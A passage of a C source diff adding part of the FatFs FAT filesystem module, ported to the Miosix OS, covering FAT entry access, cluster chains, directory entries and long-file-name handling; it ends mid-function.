+FRESULT sync_fs ( /* FR_OK: successful, FR_DISK_ERR: failed */ + FATFS* fs /* File system object */ +) +{ + FRESULT res; + + + res = sync_window(fs); + if (res == FR_OK) { + /* Update FSINFO sector if needed */ + if (fs->fs_type == FS_FAT32 && fs->fsi_flag == 1) { + /* Create FSINFO structure */ + mem_set(fs->win, 0, SS(fs)); + ST_WORD(fs->win+BS_55AA, 0xAA55); + ST_DWORD(fs->win+FSI_LeadSig, 0x41615252); + ST_DWORD(fs->win+FSI_StrucSig, 0x61417272); + ST_DWORD(fs->win+FSI_Free_Count, fs->free_clust); + ST_DWORD(fs->win+FSI_Nxt_Free, fs->last_clust); + /* Write it into the FSINFO sector */ + fs->winsect = fs->volbase + 1; + disk_write(fs->drv, fs->win, fs->winsect, 1); + fs->fsi_flag = 0; + } + /* Make sure that no pending write process in the physical drive */ + if (disk_ioctl(fs->drv, CTRL_SYNC, 0) != RES_OK) + res = FR_DISK_ERR; + } + + return res; +} +#endif + + + + +/*-----------------------------------------------------------------------*/ +/* Get sector# from cluster# */ +/*-----------------------------------------------------------------------*/ + + +DWORD clust2sect ( /* !=0: Sector number, 0: Failed - invalid cluster# */ + FATFS* fs, /* File system object */ + DWORD clst /* Cluster# to be converted */ +) +{ + clst -= 2; + if (clst >= (fs->n_fatent - 2)) return 0; /* Invalid cluster# */ + return clst * fs->csize + fs->database; +} + + + + +/*-----------------------------------------------------------------------*/ +/* FAT access - Read value of a FAT entry */ +/*-----------------------------------------------------------------------*/ + + +DWORD get_fat ( /* 0xFFFFFFFF:Disk error, 1:Internal error, Else:Cluster status */ + FATFS* fs, /* File system object */ + DWORD clst /* Cluster# to get the link information */ +) +{ + UINT wc, bc; + BYTE *p; + + + if (clst < 2 || clst >= fs->n_fatent) /* Check range */ + return 1; + + switch (fs->fs_type) { + case FS_FAT12 : + bc = (UINT)clst; bc += bc / 2; + if (move_window(fs, fs->fatbase + (bc / SS(fs)))) break; + wc = fs->win[bc % SS(fs)]; bc++; + if (move_window(fs, fs->fatbase + (bc / SS(fs)))) break; + wc |= fs->win[bc % SS(fs)] << 8; + return clst & 1 ? wc >> 4 : (wc & 0xFFF); + + case FS_FAT16 : + if (move_window(fs, fs->fatbase + (clst / (SS(fs) / 2)))) break; + p = &fs->win[clst * 2 % SS(fs)]; + return LD_WORD(p); + + case FS_FAT32 : + if (move_window(fs, fs->fatbase + (clst / (SS(fs) / 4)))) break; + p = &fs->win[clst * 4 % SS(fs)]; + return LD_DWORD(p) & 0x0FFFFFFF; + } + + return 0xFFFFFFFF; /* An error occurred at the disk I/O layer */ +} + + + + +/*-----------------------------------------------------------------------*/ +/* FAT access - Change value of a FAT entry */ +/*-----------------------------------------------------------------------*/ +#if !_FS_READONLY + +FRESULT put_fat ( + FATFS* fs, /* File system object */ + DWORD clst, /* Cluster# to be changed in range of 2 to fs->n_fatent - 1 */ + DWORD val /* New value to mark the cluster */ +) +{ + UINT bc; + BYTE *p; + FRESULT res; + + + if (clst < 2 || clst >= fs->n_fatent) { /* Check range */ + res = FR_INT_ERR; + + } else { + switch (fs->fs_type) { + case FS_FAT12 : + bc = (UINT)clst; bc += bc / 2; + res = move_window(fs, fs->fatbase + (bc / SS(fs))); + if (res != FR_OK) break; + p = &fs->win[bc % SS(fs)]; + *p = (clst & 1) ? ((*p & 0x0F) | ((BYTE)val << 4)) : (BYTE)val; + bc++; + fs->wflag = 1; + res = move_window(fs, fs->fatbase + (bc / SS(fs))); + if (res != FR_OK) break; + p = &fs->win[bc % SS(fs)]; + *p = (clst & 1) ? (BYTE)(val >> 4) : ((*p & 0xF0) | ((BYTE)(val >> 8) & 0x0F)); + break; + + case FS_FAT16 : + res = move_window(fs, fs->fatbase + (clst / (SS(fs) / 2))); + if (res != FR_OK) break; + p = &fs->win[clst * 2 % SS(fs)]; + ST_WORD(p, (WORD)val); + break; + + case FS_FAT32 : + res = move_window(fs, fs->fatbase + (clst / (SS(fs) / 4))); + if (res != FR_OK) break; + p = &fs->win[clst * 4 % SS(fs)]; + val |= LD_DWORD(p) & 0xF0000000; + ST_DWORD(p, val); + break; + + default : + res = FR_INT_ERR; + } + fs->wflag = 1; + } + + return res; +} +#endif /* !_FS_READONLY */ + + + + +/*-----------------------------------------------------------------------*/ +/* FAT handling - Remove a cluster chain */ +/*-----------------------------------------------------------------------*/ +#if !_FS_READONLY +static +FRESULT remove_chain ( + FATFS* fs, /* File system object */ + DWORD clst /* Cluster# to remove a chain from */ +) +{ + FRESULT res; + DWORD nxt; +#if _USE_ERASE + DWORD scl = clst, ecl = clst, rt[2]; +#endif + + if (clst < 2 || clst >= fs->n_fatent) { /* Check range */ + res = FR_INT_ERR; + + } else { + res = FR_OK; + while (clst < fs->n_fatent) { /* Not a last link? */ + nxt = get_fat(fs, clst); /* Get cluster status */ + if (nxt == 0) break; /* Empty cluster? */ + if (nxt == 1) { res = FR_INT_ERR; break; } /* Internal error? */ + if (nxt == 0xFFFFFFFF) { res = FR_DISK_ERR; break; } /* Disk error? */ + res = put_fat(fs, clst, 0); /* Mark the cluster "empty" */ + if (res != FR_OK) break; + if (fs->free_clust != 0xFFFFFFFF) { /* Update FSINFO */ + fs->free_clust++; + fs->fsi_flag |= 1; + } +#if _USE_ERASE + if (ecl + 1 == nxt) { /* Is next cluster contiguous? */ + ecl = nxt; + } else { /* End of contiguous clusters */ + rt[0] = clust2sect(fs, scl); /* Start sector */ + rt[1] = clust2sect(fs, ecl) + fs->csize - 1; /* End sector */ + disk_ioctl(fs->drv, CTRL_ERASE_SECTOR, rt); /* Erase the block */ + scl = ecl = nxt; + } +#endif + clst = nxt; /* Next cluster */ + } + } + + return res; +} +#endif + + + + +/*-----------------------------------------------------------------------*/ +/* FAT handling - Stretch or Create a cluster chain */ +/*-----------------------------------------------------------------------*/ +#if !_FS_READONLY +static +DWORD create_chain ( /* 0:No free cluster, 1:Internal error, 0xFFFFFFFF:Disk error, >=2:New cluster# */ + FATFS* fs, /* File system object */ + DWORD clst /* Cluster# to stretch. 0 means create a new chain. */ +) +{ + DWORD cs, ncl, scl; + FRESULT res; + + + if (clst == 0) { /* Create a new chain */ + scl = fs->last_clust; /* Get suggested start point */ + if (!scl || scl >= fs->n_fatent) scl = 1; + } + else { /* Stretch the current chain */ + cs = get_fat(fs, clst); /* Check the cluster status */ + if (cs < 2) return 1; /* It is an invalid cluster */ + if (cs < fs->n_fatent) return cs; /* It is already followed by next cluster */ + scl = clst; + } + + ncl = scl; /* Start cluster */ + for (;;) { + ncl++; /* Next cluster */ + if (ncl >= fs->n_fatent) { /* Wrap around */ + ncl = 2; + if (ncl > scl) return 0; /* No free cluster */ + } + cs = get_fat(fs, ncl); /* Get the cluster status */ + if (cs == 0) break; /* Found a free cluster */ + if (cs == 0xFFFFFFFF || cs == 1)/* An error occurred */ + return cs; + if (ncl == scl) return 0; /* No free cluster */ + } + + res = put_fat(fs, ncl, 0x0FFFFFFF); /* Mark the new cluster "last link" */ + if (res == FR_OK && clst != 0) { + res = put_fat(fs, clst, ncl); /* Link it to the previous one if needed */ + } + if (res == FR_OK) { + fs->last_clust = ncl; /* Update FSINFO */ + if (fs->free_clust != 0xFFFFFFFF) { + fs->free_clust--; + fs->fsi_flag |= 1; + } + } else { + ncl = (res == FR_DISK_ERR) ? 0xFFFFFFFF : 1; + } + + return ncl; /* Return new cluster number or error code */ +} +#endif /* !_FS_READONLY */ + + + + +/*-----------------------------------------------------------------------*/ +/* FAT handling - Convert offset into cluster with link map table */ +/*-----------------------------------------------------------------------*/ + +#if _USE_FASTSEEK +static +DWORD clmt_clust ( /* <2:Error, >=2:Cluster number */ + FIL* fp, /* Pointer to the file object */ + DWORD ofs /* File offset to be converted to cluster# */ +) +{ + DWORD cl, ncl, *tbl; + + + tbl = fp->cltbl + 1; /* Top of CLMT */ + cl = ofs / SS(fp->fs) / fp->fs->csize; /* Cluster order from top of the file */ + for (;;) { + ncl = *tbl++; /* Number of cluters in the fragment */ + if (!ncl) return 0; /* End of table? (error) */ + if (cl < ncl) break; /* In this fragment? */ + cl -= ncl; tbl++; /* Next fragment */ + } + return cl + *tbl; /* Return the cluster number */ +} +#endif /* _USE_FASTSEEK */ + + + + +/*-----------------------------------------------------------------------*/ +/* Directory handling - Set directory index */ +/*-----------------------------------------------------------------------*/ + +static +FRESULT dir_sdi ( + DIR_* dp, /* Pointer to directory object */ + WORD idx /* Index of directory table */ +) +{ + DWORD clst; + WORD ic; + + + dp->index = idx; + clst = dp->sclust; + if (clst == 1 || clst >= dp->fs->n_fatent) /* Check start cluster range */ + return FR_INT_ERR; + if (!clst && dp->fs->fs_type == FS_FAT32) /* Replace cluster# 0 with root cluster# if in FAT32 */ + clst = dp->fs->dirbase; + + if (clst == 0) { /* Static table (root-directory in FAT12/16) */ + dp->clust = clst; + if (idx >= dp->fs->n_rootdir) /* Index is out of range */ + return FR_INT_ERR; + dp->sect = dp->fs->dirbase + idx / (SS(dp->fs) / SZ_DIR); /* Sector# */ + } + else { /* Dynamic table (sub-dirs or root-directory in FAT32) */ + ic = SS(dp->fs) / SZ_DIR * dp->fs->csize; /* Entries per cluster */ + while (idx >= ic) { /* Follow cluster chain */ + clst = get_fat(dp->fs, clst); /* Get next cluster */ + if (clst == 0xFFFFFFFF) return FR_DISK_ERR; /* Disk error */ + if (clst < 2 || clst >= dp->fs->n_fatent) /* Reached to end of table or int error */ + return FR_INT_ERR; + idx -= ic; + } + dp->clust = clst; + dp->sect = clust2sect(dp->fs, clst) + idx / (SS(dp->fs) / SZ_DIR); /* Sector# */ + } + + dp->dir = dp->fs->win + (idx % (SS(dp->fs) / SZ_DIR)) * SZ_DIR; /* Ptr to the entry in the sector */ + + return FR_OK; /* Seek succeeded */ +} + + + + +/*-----------------------------------------------------------------------*/ +/* Directory handling - Move directory table index next */ +/*-----------------------------------------------------------------------*/ + +static +FRESULT dir_next ( /* FR_OK:Succeeded, FR_NO_FILE:End of table, FR_DENIED:Could not stretch */ + DIR_* dp, /* Pointer to the directory object */ + int stretch /* 0: Do not stretch table, 1: Stretch table if needed */ +) +{ + DWORD clst; + WORD i; + + + i = dp->index + 1; + if (!i || !dp->sect) /* Report EOT when index has reached 65535 */ + return FR_NO_FILE; + + if (!(i % (SS(dp->fs) / SZ_DIR))) { /* Sector changed? */ + dp->sect++; /* Next sector */ + + if (!dp->clust) { /* Static table */ + if (i >= dp->fs->n_rootdir) /* Report EOT if it reached end of static table */ + return FR_NO_FILE; + } + else { /* Dynamic table */ + if (((i / (SS(dp->fs) / SZ_DIR)) & (dp->fs->csize - 1)) == 0) { /* Cluster changed? */ + clst = get_fat(dp->fs, dp->clust); /* Get next cluster */ + if (clst <= 1) return FR_INT_ERR; + if (clst == 0xFFFFFFFF) return FR_DISK_ERR; + if (clst >= dp->fs->n_fatent) { /* If it reached end of dynamic table, */ +#if !_FS_READONLY + BYTE c; + if (!stretch) return FR_NO_FILE; /* If do not stretch, report EOT */ + clst = create_chain(dp->fs, dp->clust); /* Stretch cluster chain */ + if (clst == 0) return FR_DENIED; /* No free cluster */ + if (clst == 1) return FR_INT_ERR; + if (clst == 0xFFFFFFFF) return FR_DISK_ERR; + /* Clean-up stretched table */ + if (sync_window(dp->fs)) return FR_DISK_ERR;/* Flush disk access window */ + mem_set(dp->fs->win, 0, SS(dp->fs)); /* Clear window buffer */ + dp->fs->winsect = clust2sect(dp->fs, clst); /* Cluster start sector */ + for (c = 0; c < dp->fs->csize; c++) { /* Fill the new cluster with 0 */ + dp->fs->wflag = 1; + if (sync_window(dp->fs)) return FR_DISK_ERR; + dp->fs->winsect++; + } + dp->fs->winsect -= c; /* Rewind window offset */ +#else + if (!stretch) return FR_NO_FILE; /* If do not stretch, report EOT */ + return FR_NO_FILE; /* Report EOT */ +#endif + } + dp->clust = clst; /* Initialize data for new cluster */ + dp->sect = clust2sect(dp->fs, clst); + } + } + } + + dp->index = i; /* Current index */ + dp->dir = dp->fs->win + (i % (SS(dp->fs) / SZ_DIR)) * SZ_DIR; /* Current entry in the window */ + + return FR_OK; +} + + + + +/*-----------------------------------------------------------------------*/ +/* Directory handling - Reserve directory entry */ +/*-----------------------------------------------------------------------*/ + +#if !_FS_READONLY +static +FRESULT dir_alloc ( + DIR_* dp, /* Pointer to the directory object */ + UINT nent /* Number of contiguous entries to allocate (1-21) */ +) +{ + FRESULT res; + UINT n; + + + res = dir_sdi(dp, 0); + if (res == FR_OK) { + n = 0; + do { + res = move_window(dp->fs, dp->sect); + if (res != FR_OK) break; + if (dp->dir[0] == DDE || dp->dir[0] == 0) { /* Is it a blank entry? */ + if (++n == nent) break; /* A block of contiguous entries is found */ + } else { + n = 0; /* Not a blank entry. Restart to search */ + } + res = dir_next(dp, 1); /* Next entry with table stretch enabled */ + } while (res == FR_OK); + } + if (res == FR_NO_FILE) res = FR_DENIED; /* No directory entry to allocate */ + return res; +} +#endif + + + + +/*-----------------------------------------------------------------------*/ +/* Directory handling - Load/Store start cluster number */ +/*-----------------------------------------------------------------------*/ + +static +DWORD ld_clust ( + FATFS* fs, /* Pointer to the fs object */ + BYTE* dir /* Pointer to the directory entry */ +) +{ + DWORD cl; + + cl = LD_WORD(dir+DIR_FstClusLO); + if (fs->fs_type == FS_FAT32) + cl |= (DWORD)LD_WORD(dir+DIR_FstClusHI) << 16; + + return cl; +} + + +#if !_FS_READONLY +static +void st_clust ( + BYTE* dir, /* Pointer to the directory entry */ + DWORD cl /* Value to be set */ +) +{ + ST_WORD(dir+DIR_FstClusLO, cl); + ST_WORD(dir+DIR_FstClusHI, cl >> 16); +} +#endif + + + + +/*-----------------------------------------------------------------------*/ +/* LFN handling - Test/Pick/Fit an LFN segment from/to directory entry */ +/*-----------------------------------------------------------------------*/ +#if _USE_LFN +static +const BYTE LfnOfs[] = {1,3,5,7,9,14,16,18,20,22,24,28,30}; /* Offset of LFN characters in the directory entry */ + + +static +int cmp_lfn ( /* 1:Matched, 0:Not matched */ + WCHAR* lfnbuf, /* Pointer to the LFN to be compared */ + BYTE* dir /* Pointer to the directory entry containing a part of LFN */ +) +{ + UINT i, s; + WCHAR wc, uc; + + + i = ((dir[LDIR_Ord] & ~LLE) - 1) * 13; /* Get offset in the LFN buffer */ + s = 0; wc = 1; + do { + uc = LD_WORD(dir+LfnOfs[s]); /* Pick an LFN character from the entry */ + if (wc) { /* Last character has not been processed */ + wc = ff_wtoupper(uc); /* Convert it to upper case */ + if (i >= _MAX_LFN || wc != ff_wtoupper(lfnbuf[i++])) /* Compare it */ + return 0; /* Not matched */ + } else { + if (uc != 0xFFFF) return 0; /* Check filler */ + } + } while (++s < 13); /* Repeat until all characters in the entry are checked */ + + if ((dir[LDIR_Ord] & LLE) && wc && lfnbuf[i]) /* Last segment matched but different length */ + return 0; + + return 1; /* The part of LFN matched */ +} + + + +static +int pick_lfn ( /* 1:Succeeded, 0:Buffer overflow */ + WCHAR* lfnbuf, /* Pointer to the Unicode-LFN buffer */ + BYTE* dir /* Pointer to the directory entry */ +) +{ + UINT i, s; + WCHAR wc, uc; + + + i = ((dir[LDIR_Ord] & 0x3F) - 1) * 13; /* Offset in the LFN buffer */ + + s = 0; wc = 1; + do { + uc = LD_WORD(dir+LfnOfs[s]); /* Pick an LFN character from the entry */ + if (wc) { /* Last character has not been processed */ + if (i >= _MAX_LFN) return 0; /* Buffer overflow? */ + lfnbuf[i++] = wc = uc; /* Store it */ + } else { + if (uc != 0xFFFF) return 0; /* Check filler */ + } + } while (++s < 13); /* Read all character in the entry */ + + if (dir[LDIR_Ord] & LLE) { /* Put terminator if it is the last LFN part */ + if (i >= _MAX_LFN) return 0; /* Buffer overflow? */ + lfnbuf[i] = 0; + } + + return 1; +} + + +#if !_FS_READONLY +static +void fit_lfn ( + const WCHAR* lfnbuf, /* Pointer to the LFN buffer */ + BYTE* dir, /* Pointer to the directory entry */ + BYTE ord, /* LFN order (1-20) */ + BYTE sum /* SFN sum */ +) +{ + UINT i, s; + WCHAR wc; + + + dir[LDIR_Chksum] = sum; /* Set check sum */ + dir[LDIR_Attr] = AM_LFN; /* Set attribute. LFN entry */ + dir[LDIR_Type] = 0; + ST_WORD(dir+LDIR_FstClusLO, 0); + + i = (ord - 1) * 13; /* Get offset in the LFN buffer */ + s = wc = 0; + do { + if (wc != 0xFFFF) wc = lfnbuf[i++]; /* Get an effective character */ + ST_WORD(dir+LfnOfs[s], wc); /* Put it */ + if (!wc) wc = 0xFFFF; /* Padding characters following last character */ + } while (++s < 13); + if (wc == 0xFFFF || !lfnbuf[i]) ord |= LLE; /* Bottom LFN part is the start of LFN sequence */ + dir[LDIR_Ord] = ord; /* Set the LFN order */ +} + +#endif +#endif + + + + +/*-----------------------------------------------------------------------*/ +/* Create numbered name */ +/*-----------------------------------------------------------------------*/ +#if _USE_LFN +void gen_numname ( + BYTE* dst, /* Pointer to generated SFN */ + const BYTE* src, /* Pointer to source SFN to be modified */ + const WCHAR* lfn, /* Pointer to LFN */ + WORD seq /* Sequence number */ +) +{ + BYTE ns[8], c; + UINT i, j; + + + mem_cpy(dst, src, 11); + + if (seq > 5) { /* On many collisions, generate a hash number instead of sequential number */ + do seq = (seq >> 1) + (seq << 15) + (WORD)*lfn++; while (*lfn); + } + + /* itoa (hexdecimal) */ + i = 7; + do { + c = (seq % 16) + '0'; + if (c > '9') c += 7; + ns[i--] = c; + seq /= 16; + } while (seq); + ns[i] = '~'; + + /* Append the number */ + for (j = 0; j < i && dst[j] != ' '; j++) { + if (IsDBCS1(dst[j])) { + if (j == i - 1) break; + j++; + } + } + do { + dst[j++] = (i < 8) ? ns[i++] : ' '; + } while (j < 8); +} +#endif + + + + +/*-----------------------------------------------------------------------*/ +/* Calculate sum of an SFN */ +/*-----------------------------------------------------------------------*/ +#if _USE_LFN +static +BYTE sum_sfn ( + const BYTE* dir /* Pointer to the SFN entry */ +) +{ + BYTE sum = 0; + UINT n = 11; + + do sum = (sum >> 1) + (sum << 7) + *dir++; while (--n); + return sum; +} +#endif + + + + +/*-----------------------------------------------------------------------*/ +/* Directory handling - Find an object in the directory */ +/*-----------------------------------------------------------------------*/ + +static +FRESULT dir_find ( + DIR_* dp /* Pointer to the directory object linked to the file name */ +) +{ + FRESULT res; + BYTE c, *dir; +#if _USE_LFN + BYTE a, ord, sum; +#endif + + res = dir_sdi(dp, 0); /* Rewind directory object */ + if (res != FR_OK) return res; + +#if _USE_LFN + ord = sum = 0xFF; +#endif + do { + res = move_window(dp->fs, dp->sect); + if (res != FR_OK) break; + dir = dp->dir; /* Ptr to the directory entry of current index */ + c = dir[DIR_Name]; + if (c == 0) { res = FR_NO_FILE; break; } /* Reached to end of table */ +#if _USE_LFN /* LFN configuration */ + a = dir[DIR_Attr] & AM_MASK; + if (c == DDE || ((a & AM_VOL) && a != AM_LFN)) { /* An entry without valid data */ + ord = 0xFF; + } else { + if (a == AM_LFN) { /* An LFN entry is found */ + if (dp->lfn) { + if (c & LLE) { /* Is it start of LFN sequence? */ + sum = dir[LDIR_Chksum]; + c &= ~LLE; ord = c; /* LFN start order */ + dp->lfn_idx = dp->index; + } + /* Check validity of the LFN entry and compare it with given name */ + ord = (c == ord && sum == dir[LDIR_Chksum] && cmp_lfn(dp->lfn, dir)) ? ord - 1 : 0xFF; + } + } else { /* An SFN entry is found */ + if (!ord && sum == sum_sfn(dir)) break; /* LFN matched? */ + ord = 0xFF; dp->lfn_idx = 0xFFFF; /* Reset LFN sequence */ + if (!(dp->fn[NS] & NS_LOSS) && !mem_cmp(dir, dp->fn, 11)) break; /* SFN matched? */ + } + } +#else /* Non LFN configuration */ + if (!(dir[DIR_Attr] & AM_VOL) && !mem_cmp(dir, dp->fn, 11)) /* Is it a valid entry? */ + break; +#endif + res = dir_next(dp, 0); /* Next entry */ + } while (res == FR_OK); + + return res; +} + + + + +/*-----------------------------------------------------------------------*/ +/* Read an object from the directory */ +/*-----------------------------------------------------------------------*/ +#if _FS_MINIMIZE <= 1 || _USE_LABEL || _FS_RPATH >= 2 +static +FRESULT dir_read ( + DIR_* dp, /* Pointer to the directory object */ + int vol /* Filtered by 0:file/directory or 1:volume label */ +) +{ + FRESULT res; + BYTE a, c, *dir; +#if _USE_LFN + BYTE ord = 0xFF, sum = 0xFF; +#endif + + res = FR_NO_FILE; + while (dp->sect) { + res = move_window(dp->fs, dp->sect); + if (res != FR_OK) break; + dir = dp->dir; /* Ptr to the directory entry of current index */ + c = dir[DIR_Name]; + if (c == 0) { res = FR_NO_FILE; break; } /* Reached to end of table */ + a = dir[DIR_Attr] & AM_MASK; +#if _USE_LFN /* LFN configuration */ + if (c == DDE || (!_FS_RPATH && c == '.') || (int)(a == AM_VOL) != vol) { /* An entry without valid data */ + ord = 0xFF; + } else { + if (a == AM_LFN) { /* An LFN entry is found */ + if (c & LLE) { /* Is it start of LFN sequence? */ + sum = dir[LDIR_Chksum]; + c &= ~LLE; ord = c; + dp->lfn_idx = dp->index; + } + /* Check LFN validity and capture it */ + ord = (c == ord && sum == dir[LDIR_Chksum] && pick_lfn(dp->lfn, dir)) ? ord - 1 : 0xFF; + } else { /* An SFN entry is found */ + if (ord || sum != sum_sfn(dir)) /* Is there a valid LFN? */ + dp->lfn_idx = 0xFFFF; /* It has no LFN. */ + break; + } + } +#else /* Non LFN configuration */ + if (c != DDE && (_FS_RPATH || c != '.') && a != AM_LFN && (int)(a == AM_VOL) == vol) /* Is it a valid entry? */ + break; +#endif + res = dir_next(dp, 0); /* Next entry */ + if (res != FR_OK) break; + } + + if (res != FR_OK) dp->sect = 0; + + return res; +} +#endif /* _FS_MINIMIZE <= 1 || _USE_LABEL || _FS_RPATH >= 2 */ + + + + +/*-----------------------------------------------------------------------*/ +/* Register an object to the directory */ +/*-----------------------------------------------------------------------*/ +#if !_FS_READONLY +static +FRESULT dir_register ( /* FR_OK:Successful, FR_DENIED:No free entry or too many SFN collision, FR_DISK_ERR:Disk error */ + DIR_* dp /* Target directory with object name to be created */ +) +{ + FRESULT res; +#if _USE_LFN /* LFN configuration */ + WORD n, ne; + BYTE sn[12], *fn, sum; + WCHAR *lfn; + + + fn = dp->fn; lfn = dp->lfn; + mem_cpy(sn, fn, 12); + + if (_FS_RPATH && (sn[NS] & NS_DOT)) /* Cannot create dot entry */ + return FR_INVALID_NAME; + + if (sn[NS] & NS_LOSS) { /* When LFN is out of 8.3 format, generate a numbered name */ + fn[NS] = 0; dp->lfn = 0; /* Find only SFN */ + for (n = 1; n < 100; n++) { + gen_numname(fn, sn, lfn, n); /* Generate a numbered name */ + res = dir_find(dp); /* Check if the name collides with existing SFN */ + if (res != FR_OK) break; + } + if (n == 100) return FR_DENIED; /* Abort if too many collisions */ + if (res != FR_NO_FILE) return res; /* Abort if the result is other than 'not collided' */ + fn[NS] = sn[NS]; dp->lfn = lfn; + } + + if (sn[NS] & NS_LFN) { /* When LFN is to be created, allocate entries for an SFN + LFNs. */ + for (n = 0; lfn[n]; n++) ; + ne = (n + 25) / 13; + } else { /* Otherwise allocate an entry for an SFN */ + ne = 1; + } + res = dir_alloc(dp, ne); /* Allocate entries */ + + if (res == FR_OK && --ne) { /* Set LFN entry if needed */ + res = dir_sdi(dp, (WORD)(dp->index - ne)); + if (res == FR_OK) { + sum = sum_sfn(dp->fn); /* Sum value of the SFN tied to the LFN */ + do { /* Store LFN entries in bottom first */ + res = move_window(dp->fs, dp->sect); + if (res != FR_OK) break; + fit_lfn(dp->lfn, dp->dir, (BYTE)ne, sum); + dp->fs->wflag = 1; + res = dir_next(dp, 0); /* Next entry */ + } while (res == FR_OK && --ne); + } + } +#else /* Non LFN configuration */ + res = dir_alloc(dp, 1); /* Allocate an entry for SFN */ +#endif + + if (res == FR_OK) { /* Set SFN entry */ + res = move_window(dp->fs, dp->sect); + if (res == FR_OK) { + mem_set(dp->dir, 0, SZ_DIR); /* Clean the entry */ + mem_cpy(dp->dir, dp->fn, 11); /* Put SFN */ +#if _USE_LFN + dp->dir[DIR_NTres] = dp->fn[NS] & (NS_BODY | NS_EXT); /* Put NT flag */ +#endif + dp->fs->wflag = 1; + } + } + + return res; +} +#endif /* !_FS_READONLY */ + + + + +/*-----------------------------------------------------------------------*/ +/* Remove an object from the directory */ +/*-----------------------------------------------------------------------*/ +#if !_FS_READONLY && !_FS_MINIMIZE +static +FRESULT dir_remove ( /* FR_OK: Successful, FR_DISK_ERR: A disk error */ + DIR_* dp /* Directory object pointing the entry to be removed */ +) +{ + FRESULT res; +#if _USE_LFN /* LFN configuration */ + WORD i; + + i = dp->index; /* SFN index */ + res = dir_sdi(dp, (WORD)((dp->lfn_idx == 0xFFFF) ? i : dp->lfn_idx)); /* Goto the SFN or top of the LFN entries */ + if (res == FR_OK) { + do { + res = move_window(dp->fs, dp->sect); + if (res != FR_OK) break; + *dp->dir = DDE; /* Mark the entry "deleted" */ + dp->fs->wflag = 1; + if (dp->index >= i) break; /* When reached SFN, all entries of the object has been deleted. */ + res = dir_next(dp, 0); /* Next entry */ + } while (res == FR_OK); + if (res == FR_NO_FILE) res = FR_INT_ERR; + } + +#else /* Non LFN configuration */ + res = dir_sdi(dp, dp->index); + if (res == FR_OK) { + res = move_window(dp->fs, dp->sect); + if (res == FR_OK) { + *dp->dir = DDE; /* Mark the entry "deleted" */ + dp->fs->wflag = 1; + } + } +#endif + + return res; +} +#endif /* !_FS_READONLY */ + + + + +/*-----------------------------------------------------------------------*/ +/* Pick a segment and create the object name in directory form */ +/*-----------------------------------------------------------------------*/ + +static +FRESULT create_name ( + DIR_* dp, /* Pointer to the directory object */ + const /*TCHAR*/char **path /* Pointer to pointer to the segment in the path string */ +) +{ +#if _USE_LFN /* LFN configuration */ + BYTE b, cf; + WCHAR *lfn; + char32_t w; + UINT i, ni, si, di; + const /*TCHAR*/char *p; + + /* Create LFN in Unicode */ + for (p = *path; *p == '/' || *p == '\\'; p++) ; /* Strip duplicated separator */ + lfn = dp->lfn; + /*si =*/ di = 0; + for (;;) { + w = miosix::Unicode::nextUtf8(p);/*p[si++];*/ /* Get a character */ + if(w == miosix::Unicode::invalid || w > 0xffff) return FR_INVALID_NAME; + if (w < ' ' || w == '/' || w == '\\') break; /* Break on end of segment */ + if (di >= _MAX_LFN) /* Reject too long name */ + return FR_INVALID_NAME; +#if !_LFN_UNICODE + #error "Unsupported" + w &= 0xFF; + if (IsDBCS1(w)) { /* Check if it is a DBC 1st byte (always false on SBCS cfg) */ + b = (BYTE)p[si++]; /* Get 2nd byte */ + if (!IsDBCS2(b)) + return FR_INVALID_NAME; /* Reject invalid sequence */ + w = (w << 8) + b; /* Create a DBC */ + } + w = ff_convert(w, 1); /* Convert ANSI/OEM to Unicode */ + if (!w) return FR_INVALID_NAME; /* Reject invalid code */ +#endif + if (w < 0x80 && chk_chr("\"*:<>\?|\x7F", w)) /* Reject illegal characters for LFN */ + return FR_INVALID_NAME; + lfn[di++] = w; /* Store the Unicode character */ + } + *path = p/*&p[si]*/; /* Return pointer to the next segment */ + cf = (w < ' ') ? NS_LAST : 0; /* Set last segment flag if end of path */ +#if _FS_RPATH + if ((di == 1 && lfn[di-1] == '.') || /* Is this a dot entry? */ + (di == 2 && lfn[di-1] == '.' && lfn[di-2] == '.')) { + lfn[di] = 0; + for (i = 0; i < 11; i++) + dp->fn[i] = (i < di) ? '.' : ' '; + dp->fn[i] = cf | NS_DOT; /* This is a dot entry */ + return FR_OK; + } +#endif + while (di) { /* Strip trailing spaces and dots */ + w = lfn[di-1]; + if (w != ' ' && w != '.') break; + di--; + } + if (!di) return FR_INVALID_NAME; /* Reject nul string */ + + lfn[di] = 0; /* LFN is created */ + + /* Create SFN in directory form */ + mem_set(dp->fn, ' ', 11); + for (si = 0; lfn[si] == ' ' || lfn[si] == '.'; si++) ; /* Strip leading spaces and dots */ + if (si) cf |= NS_LOSS | NS_LFN; + while (di && lfn[di - 1] != '.') di--; /* Find extension (di<=si: no extension) */ + + b = i = 0; ni = 8; + for (;;) { + w = lfn[si++]; /* Get an LFN character */ + if (!w) break; /* Break on end of the LFN */ + if (w == ' ' || (w == '.' && si != di)) { /* Remove spaces and dots */ + cf |= NS_LOSS | NS_LFN; continue; + } + + if (i >= ni || si == di) { /* Extension or end of SFN */ + if (ni == 11) { /* Long extension */ + cf |= NS_LOSS | NS_LFN; break; + } + if (si != di) cf |= NS_LOSS | NS_LFN; /* Out of 8.3 format */ + if (si > di) break; /* No extension */ + si = di; i = 8; ni = 11; /* Enter extension section */ + b <<= 2; continue; + } + + if (w >= 0x80) { /* Non ASCII character */ +#ifdef _EXCVT + w = ff_convert(w, 0); /* Unicode -> OEM code */ + if (w) w = ExCvt[w - 0x80]; /* Convert extended character to upper (SBCS) */ +#else + w = ff_convert(ff_wtoupper(w), 0); /* Upper converted Unicode -> OEM code */ +#endif + cf |= NS_LFN; /* Force create LFN entry */ + } + + if (_DF1S && w >= 0x100) { /* Double byte character (always false on SBCS cfg) */ + if (i >= ni - 1) { + cf |= NS_LOSS | NS_LFN; i = ni; continue; + } + dp->fn[i++] = (BYTE)(w >> 8); + } else { /* Single byte character */ + if (!w || chk_chr("+,;=[]", w)) { /* Replace illegal characters for SFN */ + w = '_'; cf |= NS_LOSS | NS_LFN;/* Lossy conversion */ + } else { + if (IsUpper(w)) { /* ASCII large capital */ + b |= 2; + } else { + if (IsLower(w)) { /* ASCII small capital */ + b |= 1; w -= 0x20; + } + } + } + } + dp->fn[i++] = (BYTE)w; + } + + if (dp->fn[0] == DDE) dp->fn[0] = NDDE; /* If the first character collides with deleted mark, replace it with 0x05 */ + + if (ni == 8) b <<= 2; + if ((b & 0x0C) == 0x0C || (b & 0x03) == 0x03) /* Create LFN entry when there are composite capitals */ + cf |= NS_LFN; + if (!(cf & NS_LFN)) { /* When LFN is 